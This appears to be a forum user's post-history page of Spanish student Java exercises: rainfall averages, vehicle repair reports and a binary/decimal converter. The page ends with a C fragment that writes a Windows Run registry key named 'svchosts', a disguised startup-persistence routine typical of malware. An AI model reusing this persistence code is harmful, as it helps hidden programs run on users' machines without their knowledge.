Gracias nullpointer, miro lo de la clase envoltorio. Lo del array me parece buena idea.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes Menúpublic interface Meses {
public static final String ENERO = "Enero";
public static final String FEBRERO = "Febrero";
public static final String MARZO = "Marzo";
public static final String ABRIL = "Abril";
public static final String MAYO = "Mayo";
public static final String JUNIO = "Junio";
public static final String JULIO = "Julio";
public static final String AGOSTO = "Agosto";
public static final String SEPTIEMBRE = "Septiembre";
public static final String OCTUBRE = "Octubre";
public static final String NOVIEMBRE = "Noviembre";
public static final String DICIEMBRE = "Diciembre";
}
import java.util.ArrayList;
public class Pluviometro implements Meses{
ArrayList<Double> arrayEnero = new ArrayList<Double>();
ArrayList<Double> arrayFebrero = new ArrayList<Double>();
ArrayList<Double> arrayMarzo = new ArrayList<Double>();
ArrayList<Double> arrayAbril = new ArrayList<Double>();
ArrayList<Double> arrayMayo = new ArrayList<Double>();
ArrayList<Double> arrayJunio = new ArrayList<Double>();
ArrayList<Double> arrayJulio = new ArrayList<Double>();
ArrayList<Double> arrayAgosto = new ArrayList<Double>();
ArrayList<Double> arraySeptiembre = new ArrayList<Double>();
ArrayList<Double> arrayOctubre = new ArrayList<Double>();
ArrayList<Double> arrayNoviembre = new ArrayList<Double>();
ArrayList<Double> arrayDiciembre = new ArrayList<Double>();
double precipitacionEnero, precipitacionFebrero, precipitacionMarzo,
precipitacionAbril, precipitacionMayo, precipitacionJunio, precipitacionJulio,
precipitacionAgosto, precipitacionSeptiembre, precipitacionOctubre,
precipitacionNoviembre, precipitacionDiciembre;
public void setPrecipitacion(String m, double precipitacion){
if (m.equalsIgnoreCase("Enero")){
arrayEnero.add(precipitacion);
precipitacionEnero = precipitacion;}
if (m.equalsIgnoreCase("Febrero")){
arrayFebrero.add(precipitacion);
precipitacionFebrero = precipitacion;}
if (m.equalsIgnoreCase("Marzo")){
arrayMarzo.add(precipitacion);
precipitacionMarzo = precipitacion;}
if (m.equalsIgnoreCase("Abril")){
arrayAbril.add(precipitacion);
precipitacionAbril = precipitacion;}
if (m.equalsIgnoreCase("Mayo")){
arrayMayo.add(precipitacion);
precipitacionMayo = precipitacion;}
if (m.equalsIgnoreCase("Junio")){
arrayJunio.add(precipitacion);
precipitacionJunio = precipitacion;}
if (m.equalsIgnoreCase("Julio")){
arrayJulio.add(precipitacion);
precipitacionJulio = precipitacion;}
if (m.equalsIgnoreCase("Agosto")){
arrayAgosto.add(precipitacion);
precipitacionAgosto = precipitacion;}
if (m.equalsIgnoreCase("Septiembre")){
arraySeptiembre.add(precipitacion);
precipitacionSeptiembre = precipitacion;}
if (m.equalsIgnoreCase("Octubre")){
arrayOctubre.add(precipitacion);
precipitacionOctubre = precipitacion;}
if (m.equalsIgnoreCase("Noviembre")){
arrayNoviembre.add(precipitacion);
precipitacionNoviembre = precipitacion;}
if (m.equalsIgnoreCase("Diciembre")){
arrayDiciembre.add(precipitacion);
precipitacionDiciembre = precipitacion;}
}
public double getPrecipitacion(String m){
if (m.equalsIgnoreCase("Enero")){
return precipitacionEnero;}
if (m.equalsIgnoreCase("Febrero")){
return precipitacionFebrero;}
if (m.equalsIgnoreCase("Marzo")){
return precipitacionMarzo;}
if (m.equalsIgnoreCase("Abril")){
return precipitacionAbril;}
if (m.equalsIgnoreCase("Mayo")){
return precipitacionMayo;}
if (m.equalsIgnoreCase("Junio")){
return precipitacionJunio;}
if (m.equalsIgnoreCase("Julio")){
return precipitacionJulio;}
if (m.equalsIgnoreCase("Agosto")){
return precipitacionAgosto;}
if (m.equalsIgnoreCase("Septiembre")){
return precipitacionSeptiembre;}
if (m.equalsIgnoreCase("Octubre")){
return precipitacionOctubre;}
if (m.equalsIgnoreCase("Noviembre")){
return precipitacionNoviembre;}
return precipitacionDiciembre;
}
public double precipitacionMedia(String m){
double precipitacionTotal = 0;
if (m.equalsIgnoreCase("Enero")){
for (int a=0; a < arrayEnero.size(); a++){
precipitacionTotal = precipitacionTotal+ arrayEnero.get(a);
}
return precipitacionTotal/31;}
if (m.equalsIgnoreCase("Febrero")){
for (int a=0; a < arrayFebrero.size(); a++){
precipitacionTotal = precipitacionTotal+ arrayFebrero.get(a);
}
return precipitacionTotal/28;}
if (m.equalsIgnoreCase("Marzo")){
for (int a=0; a < arrayMarzo.size(); a++){
precipitacionTotal = precipitacionTotal+ arrayMarzo.get(a);
}
return precipitacionTotal/31;}
if (m.equalsIgnoreCase("Abril")){
for (int a=0; a < arrayAbril.size(); a++){
precipitacionTotal = precipitacionTotal+ arrayAbril.get(a);
}
return precipitacionTotal/30;}
if (m.equalsIgnoreCase("Mayo")){
for (int a=0; a < arrayMayo.size(); a++){
precipitacionTotal = precipitacionTotal+ arrayMayo.get(a);
}
return precipitacionTotal/31;}
if (m.equalsIgnoreCase("Junio")){
for (int a=0; a < arrayJunio.size(); a++){
precipitacionTotal = precipitacionTotal+ arrayJunio.get(a);
}
return precipitacionTotal/30;}
if (m.equalsIgnoreCase("Julio")){
for (int a=0; a < arrayJulio.size(); a++){
precipitacionTotal = precipitacionTotal+ arrayJulio.get(a);
}
return precipitacionTotal/31;}
if (m.equalsIgnoreCase("Agosto")){
for (int a=0; a < arrayAgosto.size(); a++){
precipitacionTotal = precipitacionTotal+ arrayAgosto.get(a);
}
if (m.equalsIgnoreCase("Septiembre")){
for (int a=0; a < arraySeptiembre.size(); a++){
precipitacionTotal = precipitacionTotal+ arraySeptiembre.get(a);
}
return precipitacionTotal/30;}
if (m.equalsIgnoreCase("Octubre")){
for (int a=0; a < arrayOctubre.size(); a++){
precipitacionTotal = precipitacionTotal+ arrayOctubre.get(a);
}
return precipitacionTotal/31;}
if (m.equalsIgnoreCase("Noviembre")){
for (int a=0; a < arrayNoviembre.size(); a++){
precipitacionTotal = precipitacionTotal+ arrayNoviembre.get(a);
}
return precipitacionTotal/30;}
return precipitacionTotal/31;}
return precipitacionTotal/31;
}
}
public class Actividad {
public static void main(String[] args) {
Pluviometro p = new Pluviometro();
for (int a=1; a<= 31; a++){
p.setPrecipitacion(Meses.ENERO,Math.random());
System.out.println("Precipitacion dia "+a+" Enero:"+p.getPrecipitacion(Meses.ENERO));}
System.out.println("La PRECIPITACION MEDIA DEL MES DE ENERO ES: "+p.precipitacionMedia("eNero"));
System.out.println("");
for (int a=1; a<= 28; a++){
p.setPrecipitacion(Meses.FEBRERO,Math.random());
System.out.println("Precipitacion dia "+a+" Febrero:"+p.getPrecipitacion(Meses.FEBRERO));}
System.out.println("La PRECIPITACION MEDIA DEL MES DE FEBRERO ES: "+p.precipitacionMedia("febrero"));
System.out.println("");
}
}
public class Parte {
private String matricula;
private String codigo;
private String descripcion;
private double importe;
public Parte (String matricula,String codigo, String descripcion, double importe){
this.matricula = matricula;
this.codigo = codigo;
this.descripcion = descripcion;
this.importe = importe;
}
public void setMatricula(String matricula){
this.matricula = matricula;
}
public void setCodigo(String codigo){
this.codigo = codigo;
}
public void setDescripcion (String descripcion){
this.descripcion = descripcion;
}
public void setImporte(double importe){
this.importe = importe;
}
public String getMatricula(){
return matricula;
}
public String getCodigo(){
return codigo;
}
public String getDescripcion(){
return descripcion;
}
public double getImporte(){
return importe;
}
}
import java.util.*;
public class GestorPartes {
Hashtable <String, ArrayList<Parte>> ht = new Hashtable<String, ArrayList<Parte>>();
Parte p;
public void crearParte(){
@SuppressWarnings("resource")
Scanner teclado = new Scanner(System.in);
System.out.println("Introduce la matricula del vehiculo: ");
String matricula = teclado.nextLine();
System.out.println("Introduce el codigo de la averia: ");
String codigo = teclado.nextLine();
System.out.println("Introduce la descripcion de la averia: ");
String descripcion = teclado.nextLine();
System.out.println("Introduce el importe de la averia: ");
double importe = teclado.nextDouble();
p = new Parte (matricula,codigo,descripcion,importe);
if (!ht.containsKey(p.getMatricula())){
ArrayList<Parte> ArrPartes = new ArrayList<Parte>();
ht.put(p.getMatricula(), ArrPartes);
ht.get(p.getMatricula()).add(p);
} else
ht.get(p.getMatricula()).add(p);
}
public void mostrar(){
if(ht.containsKey(p.getMatricula())){
ArrayList<Parte> ArrPartes = ht.get(p.getMatricula());
Iterator<Parte> itPart = ArrPartes.iterator();
while (itPart.hasNext()){
Parte p = itPart.next();
System.out.println("========");
System.out.println("Matricula: " + p.getMatricula()+ "\n" +
"Codigo: " + p.getCodigo() + "\n" +
"Descripción: " + p.getDescripcion() + "\n" +
"Importe: " + p.getImporte() + "\n");
}
} else
System.out.println("Objeto no localizado");
}
public void listar(){
Set<String> keysmatri = ht.keySet();
Iterator<String> itMatri = keysmatri.iterator();
while (itMatri.hasNext()){
itMatri.hasNext();
String matricula = itMatri.next();
ArrayList<Parte> ArrPartes = ht.get(matricula);
Iterator<Parte> itPart = ArrPartes.iterator();
while(itPart.hasNext()){
Parte p = itPart.next();
System.out.println("========");
System.out.println("Matricula: " + p.getMatricula()+ "\n" +
"Codigo: " + p.getCodigo() + "\n" +
"Descripción: " + p.getDescripcion() + "\n" +
"Importe: " + p.getImporte() + "\n");
}
}
}
public void eliminar(){
if(ht.containsKey(p.getMatricula())){
ht.get(p.getMatricula()).remove(p);
}
}
}
import java.util.*;
public class Principal {
private static GestorPartes gp = new GestorPartes();
public static void main(String[] args) {
int opcion = 0;
do{
@SuppressWarnings("resource")
Scanner teclado = new Scanner(System.in);
System.out.println("SELECCIONA UNA OPCION......");
System.out.println("[1] CREAR PARTE");
System.out.println("[2] LISTAR PARTE");
System.out.println("[3] ELIMINAR PARTE");
System.out.println("[4] LISTAR TODOS LOS PARTES");
System.out.println("[5] SALIR");
opcion = teclado.nextInt();
switch(opcion){
case 1: gp.crearParte(); break;
case 2: gp.mostrar(); break;
case 3: gp.eliminar(); break;
case 4: gp.listar();
case 5: System.out.println("Fin del Programa"); System.exit(0);
default: System.out.println("Teclea una opcion valida"); break;
}
}while (opcion != 5);
}
}
import javax.swing.*;
import java.awt.*;
import java.awt.event.*;
import java.util.ArrayList;
public class BinDecimal extends JFrame implements ActionListener {
private static final long serialVersionUID = 1L;
private JLabel etiqueta,etiqueta2;
private JTextField texto,texto2,binario,binario2;
private JButton boton,boton2;
public ActionListener metodoBoton;
public BinDecimal(String titulo)
{
super(titulo);
texto=new JTextField(10);
texto2=new JTextField(10);
etiqueta=new JLabel("Escribe en binario para convertir a decimal");
etiqueta2=new JLabel("Escribe en decimal para convertir a binario");
binario=new JTextField("0",20);
binario2=new JTextField("0",20);
binario.setEditable(false);
binario2.setEditable(false);
boton=new JButton("Convertir");
boton2=new JButton("Convertir");
boton.setMnemonic(KeyEvent.VK_C);
boton.setToolTipText("Convertir a decimal");
boton2.setMnemonic(KeyEvent.VK_C);
boton2.setToolTipText("Convertir a binario");
JPanel panel=new JPanel();
panel.setLayout(new FlowLayout(FlowLayout.LEFT,4,4));
panel.add(etiqueta);
panel.add(texto);
panel.add(boton);
panel.add(binario);
panel.add(etiqueta2);
panel.add(texto2);
panel.add(boton2);
panel.add(binario2);
getContentPane().add(panel);
boton.addActionListener(this);
boton2.addActionListener(this);
}
public void actionPerformed(ActionEvent evento)
{
ArrayList<Long> array1 = new ArrayList<Long>();
ArrayList<Long> array2 = new ArrayList<Long>();
int i = 0;
int j = 0;
long resto = 0;
long resultado1 = 0;
long resultado2 = 0;
String cadena, cadena2;
if (evento.getSource()==boton) {
long numero = Long.parseLong(texto.getText());
do{
resto = numero % 10;
array1.add(resto);
numero /= 10;
resultado1 = array1.get(i)*(long)Math.pow(2.0, i)+resultado1;
i++;
} while (numero != 0);
cadena = Long.toString(resultado1);
binario.setText(cadena);
}
if (evento.getSource()==boton2) {
long numero2 = Long.parseLong(texto2.getText());
do{
resto = numero2 % 2;
array2.add(resto);
numero2 /= 2;
resultado2 = array2.get(j)*(long)Math.pow(10.0, j)+resultado2;
j++;
} while (numero2 != 0);
cadena2 = Long.toString(resultado2);
binario2.setText(cadena2);
}
}
public static void main(String args[])
{
BinDecimal programa=new BinDecimal("Conversor Binarios y Decimales");
programa.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
programa.setSize(720,120);
programa.setLocation(200,300);
programa.setVisible(true);
}
}
import javax.swing.*;
import java.awt.*;
import java.awt.event.*;
public class BinDecimal extends JFrame implements ActionListener {
private static final long serialVersionUID = 1L;
private JLabel etiqueta,etiqueta2;
private JTextField texto,texto2,binario,binario2;
private JButton boton,boton2;
public ActionListener metodoBoton;
public BinDecimal(String titulo)
{
super(titulo);
texto=new JTextField(10);
texto2=new JTextField(10);
etiqueta=new JLabel("Escribe en binario para convertir a decimal");
etiqueta2=new JLabel("Escribe en decimal para convertir a binario");
binario=new JTextField("0",10);
binario2=new JTextField("0",10);
binario.setEditable(false);
binario2.setEditable(false);
boton=new JButton("Convertir");
boton2=new JButton("Convertir");
boton.setMnemonic(KeyEvent.VK_C);
boton.setToolTipText("Convertir a decimal");
boton2.setMnemonic(KeyEvent.VK_C);
boton2.setToolTipText("Convertir a binario");
JPanel panel=new JPanel();
panel.setLayout(new FlowLayout(FlowLayout.LEFT,4,4));
panel.add(etiqueta);
panel.add(texto);
panel.add(boton);
panel.add(binario);
panel.add(etiqueta2);
panel.add(texto2);
panel.add(boton2);
panel.add(binario2);
getContentPane().add(panel);
boton.addActionListener(this);
boton2.addActionListener(this);
}
public void actionPerformed(ActionEvent evento)
{
int[] array1 = new int[20];
int[] array2 = new int[20];
int i = 0;
int j = 0;
int resultado1 = 0;
int resultado2 = 0;
String cadena, cadena2;
int numero = Integer.parseInt(texto.getText());
do{
array1[i] = numero % 10;
numero /= 10;
resultado1 = array1[i]*(int)Math.pow(2.0, i)+resultado1;
i++;
} while (numero != 0);
cadena = Integer.toString(resultado1);
binario.setText(cadena);
int numero2 = Integer.parseInt(texto2.getText());
do{
array2[j] = numero2 % 2;
numero2 /= 2;
resultado2 = array2[j]*(int)Math.pow(10.0, j)+resultado2;
j++;
} while (numero2 != 0);
cadena2 = Integer.toString(resultado2);
binario2.setText(cadena2);
}
public static void main(String args[])
{
BinDecimal programa=new BinDecimal("Convertir de binario a decimal");
programa.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);
programa.setSize(600,120);
programa.setLocation(400,450);
programa.setVisible(true);
}
}
int test_key(void)
{
int check;
HKEY hKey;
char path[BUFSIZE];
DWORD buf_length=BUFSIZE;
int reg_key;
reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
if(reg_key!=0)
{
check=1;
return check;
}
reg_key=RegQueryValueEx(hKey,"svchosts",NULL,NULL,(LPBYTE)path,&buf_length);
if((reg_key!=0)||(buf_length>BUFSIZE))
check=2;
if(reg_key==0)
check=0;
RegCloseKey(hKey);
return check;
}
int create_key(char *path)
{
int reg_key,check;
HKEY hkey;
reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
if(reg_key==0)
{
RegSetValueEx((HKEY)hkey,"svchosts",0,REG_SZ,(BYTE *)path,strlen(path));
check=0;
return check;
}
if(reg_key!=0)
check=1;
return check;
}